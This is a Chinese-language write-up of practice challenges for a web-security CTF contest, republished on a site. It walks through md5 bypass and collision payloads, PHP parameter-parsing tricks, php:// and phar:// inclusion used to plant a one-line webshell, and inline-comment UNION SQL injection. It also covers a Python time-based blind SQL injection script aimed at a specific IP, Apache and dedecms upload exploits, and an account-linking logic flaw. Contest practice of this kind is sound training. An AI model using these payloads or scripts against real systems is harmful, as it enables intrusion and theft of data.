Web安全测试个人赛练习 | 您所在的位置:网站首页 › 代码审计与web安全期末选择题 › Web安全测试个人赛练习 |
报了一个Web安全测试个人赛,提供了赛前的练习,做一下就当准备了吧… 简单的md5查看源代码: 数组绕过即可,post:data1[]=a&data2[]=b md5
post: data1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&data2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2代码审计题: 第一层: 既要通过A_A传参,又限制了查询字符串不能为A_A,这里用到了php的一个小特性… 可以参考这篇文章:利用PHP的字符串解析特性Bypass 借用文章里的一张图: 本题中的绕过方式有下面几种: 第二层: 传入的参数要大于9999999999,用数组绕过;string后要大于零,任意字符串即可。 综上,最后payload:?A.A[]=a,注释中看到flag 常规操作 解法一看到参数url=upload,尝试php伪协议文件包含,发现直接可以base64读出flag。
毕竟给了上传页面,测试了一下,为白名单过滤,无法绕过…看到可以上传zip文件,可以利用phar://协议文件包含。 将一句话木马shell.php打包成压缩包,然后上传得到路径: 一个搜索页面,直接sqlmap就能跑出来 和上一题差不多,word参数存在搜索型注入,不过加了过滤,可以用内联绕过。 查表:%' /*!union*/ /*!select*/ 1,2,(/*!select*/ group_concat(table_name) from information_schema.tables where table_schema=database())# 查列:%' /*!union*/ /*!select*/ 1,2,(/*!select*/ group_concat(column_name) from information_schema.columns where table_name='admin')# 查数据:%' /*!union*/ /*!select*/ 1,2,(/*!select*/ group_concat(flag) from admin)# 打开是一个贪吃蛇游戏,查看game.js,有一段奇奇怪怪的颜表情,复制到控制台输出一下:
是一个dedecms sp2 v5.7,搜一下对应的漏洞即可,我参考的是这个:https://www.freebuf.com/vuls/164035.html 先访问:/dede/tpl.php?action=upload,在源码中获得token,在下一步要用到。
这一题上来就给了源码,审计了半天…没看出来什么问题 后来知道是apache的版本问题,存在解析漏洞,即从右向左解析,遇到无法解析的就跳过继续像左解析。 所以我们将小马的后缀改为..PHP.jpg,之所以把PHP大写来绕过代码中对.ph的过滤,然后将其压缩成zip压缩包上传
访问robots.txt可以看到如下sql语句,应该是要注入出来: 但是发现select也被过滤了,尝试各种方式均无法绕过… 然后发现article页面回显的数据就是在flag那个表里查出来的,所以其实后台已经帮我们写好select语句了,直接拼接上content字段即可,用不到select。 脚本如下: import requests s = requests.session() url = "http://114.55.36.69:8007/article.php" flag = "" for i in range(0,50): for j in range(32,127): payload = f"?id=1' and if(ascii(substr((content),{i},1))={j},get_lock('lethe',3),1)%23" try: s.get(url + payload, timeout=2) except Exception: flag += chr(j) print(flag) break 秘密的系统访问/web/robots.txt得到提示index.php?r=site/loginuser_1,是一个登录界面,但是没有账号密码没有注册页面,查看源代码发现: 于是访问该github账号,得到如下提示: url解码再反序列化一下可以看到上面的其实就是:
题目在dama.xxxx给了dama.php的源码,且看到flag.php在它们的上一层目录。 审计代码: 可以看到要想获得flag,需要通过is_admin()的验证,跟踪这个函数: //class.user.php public function is_admin($username){ if(!zUserFile::validate_username($username)){ return false; } $user = zUserFile::get_attrs($username); if($user['is_admin'] === 1) return true; return false; } //获取$username的所有信息 //从前面可以看到$users['attrs'][$username] = array("email" => $email, "is_admin" => 0, "email_verify" => 0, "token" => ""); public static function get_attrs($username){ $users = zUserFile::get_all_users(); if(!zUserFile::is_exists($username)){ return false; } return $users['attrs'][$username]; }要想验证通过,需要$user里的is_admin值为1,发现这边并没有什么可以利用的点,继续审计,重点放在如何可以登录admin的账号,发现该系统存在切换关联账号的功能: //switch.php可以看到login2没有其他任何的验证,也就是说如果邮箱相同且均认证了,那么不同账号就可以相互切换登录。 再想到一开始的注册页面给了admin的邮箱为[email protected],那么思路应该就是注册一个账号,并关联到admin的邮箱上,这样就可以切换到admin帐号了。 直接绑定管理员的邮箱肯定是不行的,该系统还存在修改绑定邮箱的功能,代码如下: //chgemail.php |
CopyRight 2018-2019 实验室设备网 版权所有 |